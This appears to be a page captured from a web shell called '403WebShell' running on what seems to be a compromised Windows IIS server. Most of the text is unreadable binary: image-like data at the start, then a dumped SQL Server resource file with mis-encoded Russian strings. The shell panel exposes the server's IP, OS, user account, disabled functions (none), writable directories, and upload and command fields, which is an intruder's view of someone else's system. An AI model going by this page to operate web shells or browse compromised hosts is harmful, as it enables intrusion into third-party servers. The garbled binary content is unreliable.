ySʨ;M��r���Ƌ�m�Kxo,���Gm�P��A�G�:��i��w�9�}M(�^�V��$ǒ�ѽ�9���|���� �a����J�SQ�a���r�B;����}���ٻ֢�2�%U���c�#�g���N�a�ݕ�'�v�[�OY'��3L�3�;,p�]@�S��{ls��X�'���c�jw��k'a�.��}�}&�� �dP�*�bK=ɍ!����;3n�gΊU�ߴmt�'*{,=SzfD� A��ko~�G�aoq�_mi}#�m�������P�Xhύ�����mxǍ�΂���巿zf��Q���c���|kc�����?���W��Y�$���_Lv����l߶��c���`?����l�j�ݲˏ!V��6����U�Ђ(A���4y)H���p�Z_�x��>���e���R��$�/�`^'3qˏ�-&Q�=?��CFVR �D�fV�9��{�8g�������n�h�(P"��6�[�D���< E�����~0<@�`�G�6����Hг�cc�� �c�K.5��D��d�B���`?�XQ��2��ٿyqo&+�1^� DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1�[y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN���ĕ���0������� !01@Q"2AaPq3BR�������?�����@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j��ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^����ԯ̾9Z��F��������n��1��� ��]�[��)�'�������:�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ���&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0���;_���3������� !01"@AQa2Pq#3BR�������?����ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q�� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6�����������4B>��o��](��$B���m�����a�!=���?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{�E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)�����I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a��84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b���$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7���k�� 403WebShell
403Webshell
Server IP : 103.30.72.248  /  Your IP : 216.73.216.144
Web Server : Microsoft-IIS/10.0
System : Windows NT WIN-CARKG80MF9A 10.0 build 17763 (Windows Server 2019) AMD64
User : IUSR ( 0)
PHP Version : 8.2.7
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/Microsoft SQL Server/150/LocalDB/Binn/Resources/1049/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files/Microsoft SQL Server/150/LocalDB/Binn/Resources/1049/xesqlpkg.rll
MZ����@���	�!�L�!This program cannot be run in DOS mode.

$�����ծ��ծ��ծ���Q��ծ���9��ծ������ծ�Rich�ծ�PEd����]�" @p�` �h>T.rdata@@@.rsrc� � @@���]�TT���]�����]
T��RSDS�5vʿ^�K����E��d:\dbs\sh\s19s\0924_133349\cmd\v\obj\x64retail\sql\ntdbms\dk\xe\rll\xesqlpkg\xesqlpkg.vcxproj\xesqlpkg.pdbGCTLT.rdataT�.rdata$zzzdbg p�.rsrc$01p���.rsrc$02(���y0�H�`�x���������	��
� �8�
P�h��������������(�@�X�p��������� ��!�"�#0�$H�'`�)x�*��+��,��-��.��/ �0  �18 �2P �4h �5� �6� �7� �8� �9� �:� �;!�=(!�>@!�?X!�@p!�A�!�B�!�C�!�E�!�F�!�G"�H"�J0"�KH"�L`"�Mx"�N�"�O�"�P�"�Q�"�R�"�S#�T #�U8#�WP#�Xh#�Y�#�Z�#�\�#�]�#�_�#�`�#�a$�b($�c@$�dX$�ep$�f�$�g�$�h�$�i�$�j�$�k%�l%�m0%�nH%�o`%�px%�q�%�r�%�s�%�t�%�u�%�v&�x &�y8&�|P&�}h&�~�&��&���&���&���&���&��'��('��@'��X'��p'���'���'���'���'���'��(��(��0(��H(��`(��x(���(���(���(���(���(��)�� )��8)��P)��h)���)���)���)���)���)���)��*��(*��@*��X*��p*���*���*���*���*���*��+��+��0+��H+��`+��x+���+���+���+���+���+��,�� ,��8,��P,��h,���,���,���,���,���,���,��-��(-��@-��X-��p-���-���-���-���-���-��.��.��0.��H.��`.��x.���.���.���.���.���.��/�� /��8/��P/��h/���/���/���/���/���/���/��0��(0��@0��X0��p0���0���0���0���0��0�1�1�01�H1�`1�x1�	�1��1��1�
�1��1�2� 2�82�P2�h2��2��2��2��2��2��2�3�(3�@3�X3�p3� �3�!�3�"�3�#�3�$�3�%4�&4�'04�(H4�)`4�*x4�+�4�,�4�-�4�.�4�/�4�05�1 5�285�4P5�6h5�8�5�9�5�:�5�;�5�<�5�=�5�>6�?(6�@@6�AX6�Bp6�C�6�D�6�E�6�F�6�H�6�I7�J7�K07�LH7�M`7�Nx7�O�7�P�7�Q�7�R�7�S�7�T8�V 8�W88�XP8�Yh8�Z�8�[�8�\�8�]�8�`�8�a�8�b9�c(9�d@9�eX9�fp9�g�9�h�9�i�9�j�9�k�9�l:�m:�n0:�oH:�p`:�rx:�s�:�t�:�u�:�v�:�w�:�x;�y ;�z8;�{P;�|h;�}�;�~�;��;���;���;���;��<��(<��@<��X<��p<���<���<���<���<���<��=��=��0=��H=��`=��x=���=���=���=���=���=��>�� >��8>��P>��h>���>���>���>���>���>���>��?��(?��@?��X?��p?���?���?���?���?���?��@��@��0@��H@��`@��x@���@���@���@���@���@��A�� A��8A��PA��hA���A���A���A���A���A���A��B��(B��@B��XB��pB���B���B���B���B���B��C��C��0C��HC��`C��xC���C���C���C���C���C��D�� D��8D��PD��hD���D���D���D���D���D���D��E��(E��@E��XE��pE���E���E���E���E��E�F�F�0F�HF�	`F�
xF��F��F��F��F��F�G� G�8G�PG�hG��G��G��G��G��G��G� H�!(H�"@H�#XH�$pH�%�H�&�H�'�H�(�H�)�H�+I�,I�-0I�/HI�0`I�1xI�5�I�6�I�7�I�:�I�;�I�<J�= J�>8J�?PJ�@hJ�A�J�B�J�C�J�D�J�F�J�H�J�IK�J(K�K@K�LXK�MpK�N�K�P�K�Q�K�R�K�S�K�TL�UL�V0L�WHL�X`L�YxL�Z�L�[�L�\�L�]�L�^�L�`M�a M�c8M�dPM�ghM�h�M�i�M�j�M�k�M�l�M�m�M�nN�o(N�p@N�rXN�spN�t�N�u�N�v�N�w�N�x�N�yO�zO�{0O�|HO�}`O�xO���O���O���O���O���O��P�� P��8P��PP��hP���P���P���P���P���P���P��Q��(Q��@Q��XQ��pQ���Q���Q���Q���Q���Q��R��R��0R��HR��`R��xR���R���R���R���R���R��S�� S��8S��PS��hS���S���S���S���S���S���S��T��(T��@T��XT��pT���T���T���T���T���T��U��U��0U��HU��`U��xU���U���U���U���U���U��V�� V��8V��PV��hV���V���V���V���V���V���V��W��(W��@W��XW��pW���W���W���W���W���W��X��X��0X��HX��`X��xX���X���X���X���X���X��Y�� Y��8Y��PY��hY���Y���Y���Y���Y���Y���Y�Z�(Z�@Z�XZ�pZ��Z��Z��Z�	�Z�
�Z�[�
[�0[�H[�`[�x[��[��[��[��[��[�\� \�8\� P\�!h\�"�\�#�\�$�\�%�\�&�\�'�\�(]�)(]�*@]�+X]�,p]�-�]�.�]�/�]�0�]�2�]�3^�4^�50^�6H^�7`^�8x^�9�^�:�^�<�^�=�^�>�^�?_�@ _�A8_�BP_�Ch_�D�_�E�_�F�_�G�_�H�_�I�_�J`�K(`�L@`�MX`�Np`�O�`�P�`�Q�`�R�`�S�`�Ua�Va�W0a�XHa�Y`a�[xa�]�a�^�a�_�a�`�a�b�a�cb�d b�e8b�fPb�ghb�h�b�i�b�j�b�k�b�l�b�m�b�nc�o(c�p@c�qXc�rpc�s�c�t�c�u�c�v�c�w�c�xd�yd�z0d�{Hd�|`d�}xd�~�d��d���d���d���d��e�� e��8e��Pe��he���e���e���e���e���e���e��f��(f��@f��Xf��pf���f���f���f���f���f��g��g��0g��Hg��`g��xg���g���g���g���g���g��h�� h��8h��Ph��hh���h���h���h���h���h���h��i��(i��@i��Xi��pi���i���i���i���i���i��j��j��0j��Hj��`j��xj���j���j���j���j���j��k�� k��8k��Pk��hk���k���k���k���k���k���k��l��(l��@l��Xl��pl���l���l���l���l���l��m��m��0m��Hm��`m��xm���m���m���m���m���m��n�� n��8n��Pn��hn���n���n���n���n���n���n��o��(o��@o��Xo�po��o��o��o�o�o�o�opp(p8pHpXphpxp�p�p�p�p�p�p�p�pqq(q8qHqXqhqxq�q�q�q�q�q�q�q�qrr(r8rHrXrhrxr�r�r�r�r�r�r�r�rss(s8sHsXshsxs�s�s�s�s�s�s�s�stt(t8tHtXthtxt�t�t�t�t�t�t�t�tuu(u8uHuXuhuxu�u�u�u�u�u�u�u�uvv(v8vHvXvhvxv�v�v�v�v�v�v�v�vww(w8wHwXwhwxw�w�w�w�w�w�w�w�wxx(x8xHxXxhxxx�x�x�x�x�x�x�x�xyy(y8yHyXyhyxy�y�y�y�y�y�y�y�yzz(z8zHzXzhzxz�z�z�z�z�z�z�z�z{{({8{H{X{h{x{�{�{�{�{�{�{�{�{||(|8|H|X|h|x|�|�|�|�|�|�|�|�|}}(}8}H}X}h}x}�}�}�}�}�}�}�}�}~~(~8~H~X~h~x~�~�~�~�~�~�~�~�~(8HXhx����������(�8�H�X�h�x���������Ȁ؀�����(�8�H�X�h�x���������ȁ؁�����(�8�H�X�h�x���������Ȃ؂�����(�8�H�X�h�x���������ȃ؃�����(�8�H�X�h�x���������Ȅ؄�����(�8�H�X�h�x���������ȅ؅�����(�8�H�X�h�x���������Ȇ؆�����(�8�H�X�h�x���������ȇ؇�����(�8�H�X�h�x���������Ȉ؈�����(�8�H�X�h�x���������ȉ؉�����(�8�H�X�h�x���������Ȋ؊�����(�8�H�X�h�x���������ȋ؋�����(�8�H�X�h�x���������Ȍ،�����(�8�H�X�h�x���������ȍ؍�����(�8�H�X�h�x���������Ȏ؎�����(�8�H�X�h�x���������ȏ؏�����(�8�H�X�h�x���������Ȑؐ�����(�8�H�X�h�x���������ȑؑ�����(�8�H�X�h�x���������Ȓؒ�����(�8�H�X�h�x���������ȓؓ�����(�8�H�X�h�x���������Ȕؔ�����(�8�H�X�h�x���������ȕؕ�����(�8�H�X�h�x���������Ȗؖ�����(�8�H�X�h�x���������ȗؗ�����(�8�H�X�h�x���������Șؘ�����(�8�H�X�h�x���������șؙ�����(�8�H�X�h�x���������Țؚ�����(�8�H�X�h�x���������ț؛�����(�8�H�X�h�x���������Ȝ؜�����(�8�H�X�h�x���������ȝ؝�����(�8�H�X�h�x���������Ȟ؞�����(�8�H�X�h�x���������ȟ؟�����(�8�H�X�h�x���������Ƞؠ�����(�8�H�X�h�x���������ȡء�����(�8�H�X�h�x���������Ȣآ�����(�8�H�X�h�x���������ȣأ�����(�8�H�X�h�x���������Ȥؤ�����(�8�H�X�h�x���������ȥإ�����(�8�H�X�h�x���������Ȧئ�����(�8�H�X�h���������6�������r��������L��d���,�������������
���"���>��Z�`���������������t������������d�@���b����������z����������X�$�|��������`�����p�R�����H�����*���������h�������f�L�����������H����p�P��B��x��>�������|������j�T�\	t��	J�F�d^�����b�
���
N����@��B�4`����4���$�h��t�������X�X"�|��L!��,"x��"H��$t�`&6��'v�+���+��.���/��(1z��1���4��86��74�@8���8V�P:��@=���=��?H�0@.�`A��B���BX��C��pD��4E���E>�G���Gp�H���Hh�,Jj��J
��K��dM��8O��PV�\Q���R���Sz�T~��Tf�V8�8WD�|W��Xv�Y���[��\p�_���`��a��Tb:��c��d���dL�0e���e|�Xgp��g���i��xj��@lv��m\�nd�xn��4op��p��qv�$s~��sf�uX�du��@v"�dw���w���x ��y���}��\��������l�b�Ѓ�������������d�x�܊����$���4����p����������4�b���v��f�x����^��������T�D���j��.�4�x�������r���4�\���p��D�D�x���������8�N�����T�J�����(�B�l�b�Я��p��x����N�T�~�Դ����j��t�h�J���b��F�`�n�мz�L���L�J�����$�`���<���r�4��L�N���������J�������4��F�T����������h���8�r��� �����l��������V��������������X�������������X�H���<��L��L��d�F���r� �@�`���L�l�����x�|���\�P����h�����X����J�0���$�"�H�p�����8����r�L�����������~�8d��f������pt�����2�
d�t
2����\N����0z��v�$Z������ ����(R�|j��������"��#���$��x&0��(\�,�-Z�t.`��/���0P��0Z�01��2h�x34��6��47��8l�t9��:��\;��<���<�>�$?8�\?L��B��D���F��dIN��IV�Kp�|K��`Lh��N���O,��R���T���Up�V���W���X��DY��DZD��\��^�(_F�p`\��a���c��Hd��4e�Lf�� i~��j$��k��l���nn�(p�0q���qh�Ps��u���u��`v2��w`��x|�p{,��|p�~\�h���������`��l�\�V�������~�(�d���*���^�����^�T�,���^��r�T�`���l� �~���������|���@����<�D�F�����L���̕��Ȗx�@�~���������T����^�L�����������������8�P�����h���X�p�ȨN������0��
���<�8�J���h����ܲ��\�0���N�ܴ��h��|�������������X�
�d���@�,�l�@�������\��n�t���<�T������F�`�8���n����8�D����Z�d�t���N�(�Z�����l�������t�����P��\�v���\�0�j�����T����X�\�����������l�B���T�����������,��^�p�n������,��������t�<�n�����x���d�N������(����h�`��J����L�\��������������
z��
���
r�,�����P:�����������P~����P@�� ��"��#B�X#*��%z�&J�L(2��*,��,J��/���0��`3���3f�\4��45��6x��6��09"�T<���<p�X>���?z�d@r��A��B@�8D���D���G��xH��I���J@�Ld��LX��M��tN�� O���Od�0Q`��S��0V|��V��8W��X���Xl�,Yp��[��0\f��\Z��\���]��@^��a���cN��d���e��4f��gx��gD��h���i��jd��j&�$lX�|n��$o|��s4��s<�vb�tv@��z��L{���{d�D|���~��x��������b����Ѕ��T���<����d�l���������܌��x���� �0�(�X��l���0����r���������P�l���J�����&��������������(�z�����H��������������������ح��������H���(�r���T��������<��@���ط����j�,���$�~�����4���ܾ`�<�N���������L�f�����@�~���<�����&�8�����>��N�`���$�f��������H���������B���P�8�|���l� �v���L�������j��J�P�b���v�,�p��������������8�����h�J���~�4��H�����n�d���,�^���2���j�,��� ���������������|���L����������d���V�p��@~��V����	,��
������r��B�8f������l������p�d��������(�����X��������@��$ \�� ��l!��"���"���$�&���'��x**��+N��-���/J�0���1��X5B��6h�74�88`��:��|>T��>@�?
�A���BX�HD���D��|F��$GP�tGl��HN�0J��$L���Ml�O���P>�R���R���Sd��S���T���UT��V���Xd��XJ�HY��<Z���\z�X`\��a��hb��d���d6�$f\��f@��h���i���j,��k:��lz�dnN��n��<o���pr�<q��<sv��yR�{H�P{��|�$~������܁��p�P����`�d�t�؊��ċ�č4���������P����n�t�D���
�ėv�<����h�P��h��l������أ������\�F���6�ܦ<��V�p�@���r�$�r�����`��t������������ԵN�$�f���^����̻��������d���D����������d�N�����d�(�����8������������x� �0�P���0�<�l���<�����.�����x����������<�<�x���d��d�n���������t�������|�J���������H�h����������B���~�p����.�4���������p� � �@���8����R�T�L���\�������`��Z�l*��r������8���������}�#;>10;L=K9 C=8:0;L=K9 845=B8D8:0B>@5@A8O AE5<K A>1KB89!0=0; B@0AA8@>2:8 A>1KB89 Windows7 07@5H5=> ;8 =0< 2:;NG0BL 8;8 >B:;NG0BL ?0:5B=K9 @568<?p>=5G=>5 A<5I5=85 8=AB@C:F88 >B=>A8B5;L=> =0G0;0 ?0:5B0. ;O ?>A;54=59 8=AB@C:F88 1C45B CAB0=>2;5=> 7=0G5=85 -1.2"09<5@ ?5@540G8 :><?>=5=B0 Service Broker =0AB@>5=PA>?040=89 2 :MH ?;0=>2<@5<O 2 <8:@>A5:C=40E, 70B@0G5==>5 =0 2K?>;=5=85 8=AB@C:F88.a?@545;O5B, =0E>48;AO ;8 >A=>2=>9 A5@25@ 2 A>AB>O=88 :2>@C<0 70E20B0 ?@8 7025@H5=88 @01>BK ?0:5B0*#:07K205B, <>6=> ;8 ?0@0<5B@87>20BL 70?@>APAE!>2>:C?=>5 2@5<O <564C =5A:>;L:8<8 2K7>20<8 2 ReadAsync 8 ReadHandlerPA?!>>1I05B 4;8B5;L=>ABL >?5@0F88 >1=>2;5=8O ?5@5=5A5==>3> 8=45:A04#@>25=L 3@C??K @5AC@A>2, 8A?>;L7C5<K9 4;O >1=>2;5=8O645=B8D8:0B>@ B01;8FK, : :>B>@>9 ?@8<5=O5BAO ?>;8B8:0.PAJ>=5F 703@C7:8 @01>G59 B01;8FK >1J5:B>2 ?5@540G8 :><?>=5=B0 Service Broker8#:07K205B, O2;O5BAO ;8 8=AB@C:F8O ?>2B>@=>9 :><?8;OF859.|-B>B ?0@0<5B@ 8A?>;L7C5BAO 4;O A1@>A0 A>548=5=8O. -B> ?>;5 4>ABC?=> B>;L:> 4;O C40;5==>3> 2K7>20 ?@>F54C@ A1@>A0 A>548=5=8O.S'8A;> D878G5A:8E >?5@0F89 GB5=8O AB@0=8F, 2K?>;=5==KE ?>;L7>20B5;5< 70 2@5<O A50=A0PA8?@545;O5B, 8<55B ;8 B01;8F0 6C@=0;0 8=45:A columnstore.+45=B8D8:0B>@ >1J5:B0 >1=>2;5==>3> >1J5:B0.&#:07K205B @57C;LB0B 2K?>;=5=8O ?0:5B0.<O ;>:0;L=>3> A>1KB8OPA&!>18@05B 40==K5 4;O MB0?>2 :><?8;OF88.?@5<O (2 <8:@>A5:C=40E), =5>1E>48<>5 4;O >1=>2;5=8O AB0B8AB8:8.?KE>4=K5 ?0@0<5B@K, 2>72@0I05<K5 ?@8 C40;5==>< 2K7>25 ?@>F54C@.@0G0;> 8A?>;L7>20=8O @01>G59 B01;8FK :C@A>@0 48A?5BG5@0 :C@A>@>2�>7=8:05B, :>340 A5;5:B82=K9 XML-8=45:A =5 8A?>;L7C5BAO 4;O XML-70?@>A0 2A;54AB285 B>3>, GB> ?>;L7>20B5;L ?@8<5=O5B =5?>445@68205<K9 B8? ?CB8.g!>18@05B 40==K5 4;O 42CE MB0?>2 :><?8;OF88 2> 2@5<O ?@8=C48B5;L=>3> ?@8<5=5=8O ?;0=0 A ?><>ILN UsePlan.PA45=B8D8:0B>@ 107K 40==KE.-<O >1J5:B0, :>B>@><C ?@8=04;568B 8=AB@C:F8O.:#:07K205B 8<O A5@25@0, =0 :>B>@K9 ?5@5=>A8BAO 1070 40==KE.PA 107K 40==KE.PA>4@>1=K5 A2545=8O > DC=:F88.PA0>7=8:05B 2 <><5=B =0G0;0 3;>10;L=>9 B@0=70:F88.*45=B8D8:0B>@ >1J5:B0, C40;5==>3> 87 :MH0.h@5<O & (2 <8:@>A5:C=40E), 8A?>;L7C5<>5 B@8335@>< LOGON 8;8 DC=:F859-:;0AA8D8:0B>@>< Resource Governor.+!B0B8G5A:8 2K2545==K9 B8? 2K@065=8O XQuery.�>;8G5AB2> >?5@0F89 ?>2B>@=>9 :><?8;OF88 8=AB@C:F88. >ABC?=> B>;L:> 2 A;CG0OE, :>340 ?0@0<5B@ E@0=8<>9 ?@>F54C@K 8;8 ?0:5B0 compiled_object_type 8<55B 7=0G5=85 QueryPA/#:07K205B, GB> 107C 40==KE =52>7<>6=> >1=>28BL. @5<O & ?@8 :><?8;OF88 70?@>A0.PAK?>;=O5<0O 8=AB@C:F8O DDL<O ?C;0 40==KE."5:CI89 H03 >?5@0F88 DDL..0?@>A C254><;5=8O > D>=>2>9 0:B82=>AB8 ?>B>:0PA*>:07K205B, CA?5H=> ;8 2K?>;=5=0 >?5@0F8O.`@54K4CI55 7=0G5=85 D;030, C:07K20NI53>, 1K; ;8 @568< =0AB@>9:8 107K 40==KE CAB0=>2;5= A8AB5<>9.�A;8 7040=> 7=0G5=85 1, collect_parameterized_plan_handle 2:;NG05B A1>@ 40==KE parameterized_plan_handle. > C<>;G0=8N AB>;15F parameterized_plan_handle =5 A>7405BAO.<O 2K?>;=5==>3> >1J5:B0.PA3/2;O5BAO ;8 ?>4:;NG5=85 4C1;8@>20==K< ?>4:;NG5=85<.45=B8D8:0B>@ D@03<5=B0.<O ?>AB02I8:0 OLE DB.PAW>38G5A:>5 7=0G5=85, C:07K20NI55, 2:;NG5=0 ;8 DC=:F8O >1=0@C65=8O C3@>7 4;O 107K 40==KE0@0 A>1KB89-@C??0 A>>1I5=89, :>B>@>9 ?@8=04;568B 480;>3. @5<O :><?8;OF88 2 <8;;8A5:C=40EC!@010BK205B ?@8 7025@H5=88 70?@>A0 > A>AB>O=88 2=5H=59 107K 40==KE.j@5>1@07C5B ?>;=>B5:AB>2K9 70?@>A 2 M:2820;5=B=K9 70?@>A T-SQL, @01>B0NI89 2 D8:B82=>9 B01;8F5 D@03<5=B>2.T>65B ;8 AB>;15F A>45@60BL 7=0G5=85 NULL ?>A;5 2=5A5=8O 87<5=5=89 2 53> >?@545;5=85?PAF7<5=5==K9 >1J5:B (4;O :>B>@>3>, 2>7<>6=>, B@51C5BAO >1=>28BL MD-:MH).!@5<O A>740=8O @01>G53> M;5<5=B0.PA6025@H8BL A25@:C 40==KE <564C 107>9 40==KE 8 >1J5:B><.-45=B8D8:0B>@ >1J5:B0 A 4>102;O5<K< AB>;1F><.PAt@>8AE>48B ?@8 2K?>;=5=88 ?>43>B>2;5==>9 8=AB@C:F88 Transact-SQL :><?>=5=B>< SQLClient, ODBC, OLE DB 8;8 DB-Library.�:B828@C5BAO, 5A;8 70?@>AC =5 C405BAO 703@C78BL ?@8=C48B5;L=K9 ?;0= 87 E@0=8;8I0 70?@>A>2. @8=C48B5;L=>5 2K?>;=5=85 ?>;8B8:8 =5 ?@8<5=O5BAO. !>45@68B B>;L:> =5107>2K5 =5:;85=BA:85 40==K5, :>B>@K5 <>3CB 1KBL 8A?>;L7>20=K 4;O 2KO2;5=8O ?@>1;5<K.P>7=8:05B, :>340 >?5@0F8O ALTER TABLE ADD =04 AB>;1F>< >1=>2;O5B 107>2K9 8=45:A.D<O :><?>=5=B0 Service Broker, O2;ONI53>AO 8AB>G=8:>< 4;O A>>1I5=8O.;5A:@8?B>@ ?;0=0 @>48B5;LA:>9 70?8A8 :MH0 2 8AE>4=>< <>4C;5(@8G8=0 ?>2B>@=>9 :><?8;OF88 8=AB@C:F88.#:07K205B, 70?@>H5=0 ;8 A5:F8O.F!>>1I5=85 1K;> ?>AB02;5=> 2 >G5@54L ?5@540G8 :><?>=5=B0 Service Broker5<O ?>AB02I8:0 OLEDB, :>B>@>5 8A?>;L7>20;>AL 2 2K7>25PAX'8A;> ?@548:0B>2, :>B>@K5 1K 1K;8 4>102;5=K : A>548=5=8N, 5A;8 1K DC=:F8O 1K;0 2:;NG5=0.<O C7;0 :;85=B0.PAx0@0<5B@, 8A?>;L7C5<K9 4;O A1@>A0 A>548=5=8O. -B> ?>;5 4>ABC?=> B>;L:> 4;O C40;5==>3> 2K7>20 ?@>F54C@ A1@>A0 A>548=5=8O.�"5<?>@0;L=0O B5:CI0O B01;8F0, 2 :>B>@>9 1K;0 ?@54?@8=OB0 ?>?KB:0 8A?>;L7>20BL A>G5B0=85 A;54CNI8E D0:B>@>2: >3@0=8G5==K9 A@>: E@0=5=8O 40==KE, LOB-AB>;1FK 8 6C@=0; CCI.303@C7:0 >1J5:B0 ?5@540G8 :><?>=5=B0 Service BrokerPAQ>4 :><?8;OF88, >?8AK20NI89 A>AB>O=85 :><?8;OF88 8;8 ?@8G8=C ?>2B>@=>9 :><?8;OF88�>7=8:05B ?@8 45D@03<5=B0F88 8=45:A0 8=AB@C:F859 ALTER INDEX REBUILD 8;8 ALTER INDEX REORGANIZE. >102LB5 459AB285 nt_username 8;8 server_principal_name 2 MB> A>1KB85, GB>1K 7=0BL, :B> 87<5=8; >1J5:B.PA1!>1@0BL 845=B8D8:0B>@ 3@C??K @0A?@545;5==KE 7040GPA4>7=8:05B ?@8 :><?8;OF88 8=AB@C:F88 openrowset bulk.2$C=:F8O ?@>D8;8@>20=8O CTableValuedClrUdf::Init().0#:07K205B, 70?@>H5=> ;8 ?0@0;;5;L=>5 2K?>;=5=85.;CBL, 4;O :>B>@>3> ?@54?@8=OB0 ?>?KB:0 8A?>;L7>20BL 8=45:A.h@>8AE>48B, :>340 >?B8<870B>@ 70?@>A>2 2K?>;=O5B >F5=:C :>;8G5AB20 M;5<5=B>2 4;O @5;OF8>==>3> 2K@065=8O.PA8'8A;> AB@0=8F, 70?8A0==KE 2 E>45 ?0:5B=>9 70?8A8 40==KE.3!>1KB85, >B<5G0NI55 2K?>;=5=85 A G5@54>20=85< 2 QO.+#:07K205B B8? AB>;1F0 B5<?>@0;L=>3> 0C48B0.I!>>1I05B > 2K?>;=5=88 :><0=4K ALTER DATABASE SET REMOTE_DATA_ARCHIVE OFF.PA+=AB@C:F8O "Create Index" 8;8 "Alter Index"('8A;> 0:B82=KE 70?@>A>2 4;O <0;>3> H;N70PA#45=B8D8:0B>@ ?5@5=5A5==>9 B01;8FK.PA/K7>2 2=5H=8E API 4;O C?@02;5=8O 2=5H=8< :;NG><-B0? ?>2B>@=>9 A1>@:8 8=45:A0`5@5405B 40==K5 > ?@>?CA:5 2K?>;=5=8O A:@8?B0 ?5@5=>A0 2> 2@5<O >1@01>B:8 7040G8 ?5@5=>A0 AE5<K.=#:07K205B, ?@8<5=5=> ;8 : =0G0;L=><C AB>;1FC =5O2=>5 A:@KB85.PA#>@>3>2>5 7=0G5=85 4;O <0;>3> H;N7030==K9 A50=A >ACI5AB2;O5B ?>2B>@=K9 2E>4 2 A8AB5<C?>@5<O & ?@8 :><?8;OF88, :>340 MB>B ?;0= 1K; 87=0G0;L=> A>740=D'8A;> >?5@0F89 GB5=8O C40;5==KE AB@0=8F, 8=8F88@>20==KE 8=AB@C:F859.W!>>1I5=85 1K;> ?>AB02;5=> 2 >G5@54L 2 B01;8FC B5:AB0 ?5@540G8 :><?>=5=B0 Service Broker8!2>9AB2> @0A?>;>65=8O <5B040==KE >B:@KB>3> =01>@0 AB@>:.1'8A;> ?;0=>2, A>740205<KE ?@8 ?>;=>9 >?B8<870F88.X0?CA:05BAO =0 MB0?5 B5AB8@>20=8O AB0B8AB8:8 >1=>2;5=89 A1>@:8 A 2>7>1=>2;O5<K< 8=45:A><G>G5<C MB0 A:0;O@=0O ?>;L7>20B5;LA:0O DC=:F8O =5 O2;O5BAO 2AB@08205<>9.!45=B8D8:0B>@ A>740==>3> 8=45:A0.)>;CG5=85 845=B8D8:0B>@0 B5:CI53> 70?@>A0PA5>2>5 7=0G5=85 >B:;NG5==KE A8AB5<>9 D;03>2 ?><>I=8:0.>'8A;> C=8:0;L=KE <5B>: :>=D845=F80;L=>AB8 4;O MB>3> @57C;LB0B0PA,45=B8D8:0B>@ >1J5:B0 A 87<5=O5<K< AB>;1F><.-B0? 